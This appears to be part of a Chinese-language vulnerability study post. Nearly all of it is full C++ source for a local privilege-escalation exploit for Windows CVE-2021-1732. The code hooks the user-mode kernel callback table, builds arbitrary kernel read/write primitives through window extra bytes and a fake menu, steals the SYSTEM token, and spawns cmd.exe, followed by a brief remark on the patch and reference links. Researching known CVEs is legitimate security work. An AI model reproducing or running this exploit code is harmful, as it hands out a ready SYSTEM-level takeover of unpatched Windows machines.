typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, HWND* pHwnd, int nConsoleInformationLength);
fnNtUserConsoleControl g_pfnNtUserConsoleControl = NULL;

typedef DWORD64(NTAPI* fnNtCallbackReturn)(DWORD64* a1, DWORD64 a2, DWORD64 a3);
fnNtCallbackReturn g_pfnNtCallbackReturn = NULL;

namespace CVE_2021_1732
{
DWORD64 g_nRandom = 0;
HWND g_hwnd[10] = { NULL };
HWND g_hwndMagic = NULL;
DWORD64 g_ptagWNDk[10] = { NULL };
DWORD64 g_ptagWNDK_min = NULL;
DWORD64 g_ptagWNDK_max = NULL;
DWORD64 g_ptagWNDK_Magic = NULL;
HWND g_hwnd_min = NULL;
HWND g_hwnd_max = NULL;
DWORD OffsetToDesktopHeap_min = NULL;
DWORD OffsetToDesktopHeap_max = NULL;
DWORD OffsetToDesktopHeap_Magic = NULL;
DWORD64 g_qwMinBaseAddress = 0;
DWORD64 g_qwRegionSize = 0;
DWORD testnum = 0;
DWORD64 g_qwMenu = 0;
DWORD64 qwspMenuOld = 0;
ULONG64 OldpExtraBytes_min = 0;
ULONG64 OldpExtraBytes_max = 0;
}

namespace Offset
{
DWORD dwStyleOffset = 0x18;
DWORD dwcbWndExtraOffset = 0xC8;
DWORD dwExtraFlagOffset = 0xE8;
DWORD dwpExtraBytesOffset = 0x128;
DWORD dwLinkOffset = 0x2F0;
DWORD dwTokenOffset= 0x360;
DWORD dwPIDOffset = 0x2E8;

}

using namespace CVE_2021_1732;
using namespace Offset;


BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}

BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}

unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;

}

HWND GuessHwnd(DWORD64* pBaseAddress, DWORD dwRegionSize)
{
DWORD64 qwBaseAddressBak = *pBaseAddress;
DWORD64 qwBaseAddress = *pBaseAddress;
DWORD dwRegionSizeBak = dwRegionSize;
HWND hwndMagicWindow = nullptr;

do
{
while (*(WORD*)qwBaseAddress != g_nRandom & dwRegionSize > 0)
{
qwBaseAddress += 2;
dwRegionSize--;
}

//获取不到才会走下面的步骤

if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000)
{
qwBaseAddress = qwBaseAddress + 4;
DWORD64 qwSub = qwBaseAddressBak - qwBaseAddress;
dwRegionSize = dwRegionSizeBak + qwSub;
}

hwndMagicWindow = (HWND) * (DWORD*)(qwBaseAddress - 0xc8);
if (hwndMagicWindow)
{
break;
}

} while (true);



return hwndMagicWindow;

}


DWORD64 MyxxxClientAllocWindowClassExtraBytes(DWORD64* a1)
{
DWORD64 dwTemp = *a1;

if (dwTemp == g_nRandom)
{
HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);

printf("MagciHwnd==%p\r\n", hwndMagic);


if (hwndMagic)
{
g_pfnNtUserConsoleControl(6i64, &hwndMagic, 0x10);
DWORD64 qwRet = OffsetToDesktopHeap_min;

g_pfnNtCallbackReturn(&qwRet, 24i64, 0i64);
}
}

DWORD64 dwTest = *((PULONG64) * (a1 - 11));

return OldxxxClientAllocWindowClassExtraBytes(a1);
}

BOOL HookClientAllocWindowClassExtraBytes()
{
BOOL bRet = TRUE;
DWORD dwOldProtect;

g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");
g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");

//获取 KernelCallbackTable gs段寄存器 0x60位置为PEB
// PEB 偏移0x58位置为KernelCallbackTable
DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60u) + 0x58);
// 0x3d8位置为函数 user32!_xxxClientAllocWindowClassExtraBytes:
OldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes) * (DWORD64*)(KernelCallbackTable + 0x3D8);// 0x3d8位置为函数


VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, 0x40u, &dwOldProtect);
*(DWORD64*)(KernelCallbackTable + 0x3D8) = (DWORD64)MyxxxClientAllocWindowClassExtraBytes;
VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300ui64, dwOldProtect, &dwOldProtect);

return bRet;
}


DWORD64 MyRead(DWORD64 targetAdress)
{

BYTE qwRet[8] = { 0 };
MENUBARINFO pmbi = {};
pmbi.cbSize = sizeof(MENUBARINFO);

*(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x58)) = targetAdress - 0x40;

//printf("%lx \n", *(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x58)));
if (!GetMenuBarInfo(g_hwnd_max, -3, 1, &pmbi))
{
printf("GetMenuBarInfo error");
}

*(PDWORD)(qwRet) = pmbi.rcBar.left; // 减去 Rect.left,创建窗口时,该值被指定为 0
*(PDWORD)(qwRet + 4) = pmbi.rcBar.top;

return *(PDWORD64)qwRet;

}

LRESULT __fastcall MyWndProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
if (a2 != 2)
return DefWindowProcW(a1, a2, a3, a4);
PostQuitMessage(0);
return 0i64;
}


BOOL InitWindowsClass()
{
int WndNum = 10;
int i = 0;
struct _MEMORY_BASIC_INFORMATION Buffer = {};

srand(time(0i64));
g_nRandom = (rand() % 255 + 0x1234) | 1;

WNDCLASSEXW wndClass = {};

wndClass.lpfnWndProc = (WNDPROC)MyWndProc;
wndClass.cbSize = 80;
wndClass.style = 3;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 32;
wndClass.hInstance = GetModuleHandleW(0i64);
wndClass.lpszClassName = L"normalClass";
ATOM g_lpWcxNormal = RegisterClassExW(&wndClass);
//g_nRandom
wndClass.cbWndExtra = g_nRandom;
wndClass.lpszClassName = L"magicClass";
ATOM g_lpWcxMagic = RegisterClassExW(&wndClass);

CreatePopupMenu();

for (i = 0; i < WndNum; i++)
{
g_hwnd[i]= CreateWindowExW(
WS_EX_NOACTIVATE,
(LPCWSTR)(unsigned __int16)g_lpWcxNormal,
L"windows",
0x8000000u,
0,
0,
0,
0,
0i64,
CreateMenu(),
GetModuleHandleW(0i64),
0i64);
g_ptagWNDk[i] = (DWORD64)pHmValidateHandle(g_hwnd[i], 1);

VirtualQuery((LPVOID)g_ptagWNDk[i], &Buffer, 0x30ui64);

/*
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
*/
if (g_qwMinBaseAddress == 0)
{
g_qwMinBaseAddress = (DWORD64)Buffer.BaseAddress;
g_qwRegionSize = (DWORD64)Buffer.RegionSize;
}
else
{
if (g_qwMinBaseAddress > (DWORD64)Buffer.BaseAddress)
{
g_qwMinBaseAddress = (DWORD64)Buffer.BaseAddress;
g_qwRegionSize = (DWORD64)Buffer.RegionSize;
}
}
}

if (*(DWORD*)((char*)g_ptagWNDk[0] + 8) < *(DWORD*)((char*)g_ptagWNDk[1] + 8))
{
g_ptagWNDK_min = g_ptagWNDk[0];
g_ptagWNDK_max = g_ptagWNDk[1];
g_hwnd_min = g_hwnd[0];
g_hwnd_max = g_hwnd[1];
}
else
{
g_ptagWNDK_min = g_ptagWNDk[1];
g_ptagWNDK_max = g_ptagWNDk[0];
g_hwnd_min = g_hwnd[1];
g_hwnd_max = g_hwnd[0];
}

OffsetToDesktopHeap_min = *(DWORD*)(g_ptagWNDK_min + 8);
OffsetToDesktopHeap_max= *(DWORD*)(g_ptagWNDK_max + 8);

//改变窗口0的寻址方式,变为桌面堆寻址
g_pfnNtUserConsoleControl(6i64, &g_hwnd_min, 0x10);


OldpExtraBytes_min = *(DWORD64*)(g_ptagWNDK_min + dwpExtraBytesOffset);
OldpExtraBytes_max = *(DWORD64*)(g_ptagWNDK_max + dwpExtraBytesOffset);

for (int i = 2i64; i < 10; ++i)
DestroyWindow(g_hwnd[i]);

g_hwndMagic = CreateWindowExW(
0x8000000u,
(LPCWSTR)(unsigned __int16)g_lpWcxMagic,
L"Magicwnd",
0x8000000u,
0,
0,
0,
0,
0i64,
NULL,
GetModuleHandleW(0i64),
0i64);

SetWindowLongW(g_hwndMagic, dwpExtraBytesOffset, OffsetToDesktopHeap_min);
SetWindowLongW(g_hwndMagic, dwcbWndExtraOffset, 0xFFFFFFF);


printf("testnum address : %p\n", &testnum);
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, (LONG_PTR)&testnum);
printf("testnum old value : %x\n", testnum);
SetWindowLongPtrA(g_hwnd_max, 0, 0x1234);
printf("testnum new value : %x\n", testnum);


HANDLE hProcHeap = NULL;

hProcHeap = GetProcessHeap();
g_qwMenu = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0xA0);

*(PDWORD64)(g_qwMenu + 0x98) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x20);
*(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x98)) = g_qwMenu;

*(PDWORD64)(g_qwMenu + 0x28) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x200);
*(PDWORD64)(*(PDWORD64)(g_qwMenu + 0x28) + 0x2C) = 1;
*(PDWORD64)(g_qwMenu + 0x58) = (DWORD64)HeapAlloc(hProcHeap, HEAP_ZERO_MEMORY, 0x8);
*(PDWORD)(g_qwMenu + 0x40) = 1;
*(PDWORD)(g_qwMenu + 0x44) = 2;



DWORD64 qwStyle = *(PDWORD64)(g_ptagWNDK_max + dwStyleOffset);
qwStyle |= 0x4000000000000000;
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);

qwspMenuOld =SetWindowLongPtrA(g_hwnd_max, GWLP_ID, g_qwMenu);

qwStyle &= ~0x4000000000000000;
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);

//printf("%lx %lx \n", OffsetToDesktopHeap_min, OffsetToDesktopHeap_max);
//SetWindowLongW(g_hwndMagic, 0x128, OffsetToDesktopHeap_max);
//printf("testnum address : %p\n", &testnum);
//getchar();
//SetWindowLongPtrA(g_hwnd_min, 0x128, (LONG_PTR)&testnum);
//printf("testnum old value : %x\n", testnum);
//SetWindowLongW(g_hwnd_max, 0, 0x1234);
//printf("testnum new value : %x", testnum);

//DWORD64 value= MyRead((DWORD64)&testnum);
//printf("value=: %lx ", value);
//getchar();
return TRUE;
}

ULONG64 GetNTBase()
{
ULONG64 Base[0x1000];
DWORD dwRet = 0;
ULONG64 ulKrnlBase = 0;

if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet))
{
ulKrnlBase = Base[0];
}

return ulKrnlBase;
}

ULONG64 GetSystemProcess()
{
HMODULE hModel = NULL;
ULONG64 ulAddress = 0, ulOSBase = 0, ulRes = 0;

ulOSBase = GetNTBase();

hModel = LoadLibraryA("ntoskrnl.exe");

ulAddress = (ULONG64)GetProcAddress(hModel, "PsInitialSystemProcess");

ulRes = ulAddress - (ULONG64)hModel + ulOSBase;

return ulRes;
}

void PrivilegeEscalatio()
{
DWORD64 qwSytemAddr = GetSystemProcess();
DWORD dwPid = GetCurrentProcessId();
DWORD dwtmpPid = 0;

DWORD64 qwEprocess = MyRead(qwSytemAddr);
DWORD64 qwSystemToken = MyRead(qwEprocess + dwTokenOffset);

do
{
qwEprocess = MyRead(qwEprocess + dwLinkOffset) - dwLinkOffset;
dwtmpPid = MyRead(qwEprocess + dwPIDOffset);
} while (dwPid != dwtmpPid);


SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, qwEprocess + dwTokenOffset);
SetWindowLongPtrA(g_hwnd_max, 0, qwSystemToken);

}

BOOL Init_CVE_2021_1732()
{
BOOL bRet = TRUE;
if (!FindHMValidateHandle()) {
printf("[!] Failed to locate HmValidateHandle, exiting\n");
bRet = FALSE;
return bRet;
}

if (!HookClientAllocWindowClassExtraBytes())
{
printf("[!] Failed to locate HmValidateHandle, exiting\n");
}

InitWindowsClass();


}



VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

VOID FixDate()
{
g_ptagWNDK_Magic= (DWORD64)pHmValidateHandle(g_hwndMagic, 1);
OffsetToDesktopHeap_Magic= *(PDWORD)(g_ptagWNDK_Magic + 8);
DWORD dwFlags = *(PDWORD)(g_ptagWNDK_Magic + dwExtraFlagOffset);
dwFlags &= ~0x800;
DWORD64 qwBuffer = (DWORD64)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_nRandom);

//tagWNDk2
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_Magic + dwExtraFlagOffset - OffsetToDesktopHeap_min, dwFlags);
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_Magic + dwpExtraBytesOffset - OffsetToDesktopHeap_min, qwBuffer);

//tagWNDk1
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwpExtraBytesOffset - OffsetToDesktopHeap_min, OldpExtraBytes_max);

//tagWNDk0
//SetWindowLongPtrA(g_hwnd_min, dwcbWndExtraOffset, 0x140);
SetWindowLongPtrA(g_hwnd_min, dwpExtraBytesOffset, OldpExtraBytes_min);



DWORD64 qwStyle = *(PDWORD64)(g_ptagWNDK_max + dwStyleOffset);
qwStyle |= 0x4000000000000000;
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);

SetWindowLongPtrA(g_hwnd_max, GWLP_ID, qwspMenuOld);

qwStyle &= ~0x4000000000000000;
SetWindowLongPtrA(g_hwnd_min, OffsetToDesktopHeap_max + dwStyleOffset - OffsetToDesktopHeap_min, qwStyle);


}

/* 程序入口点 */
int main()
{
Init_CVE_2021_1732();

PrivilegeEscalatio();

CreateCmd();

FixDate();

getchar();

}

效果如下
21.png

微软补丁

下载不到补丁,链接失效了,只不过无所谓,后面出现了一个绕过这个补丁的提权洞CVE-2022-21882,到时候对比也行。

参考

CVE-2021-1732 Windows10 本地提权漏洞复现及详细分析-安全客 - 安全资讯平台 (anquanke.com)

Github: KaLendsi/CVE-2021-1732-Exploit

CVE-2021-1732提权漏洞学习笔记-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)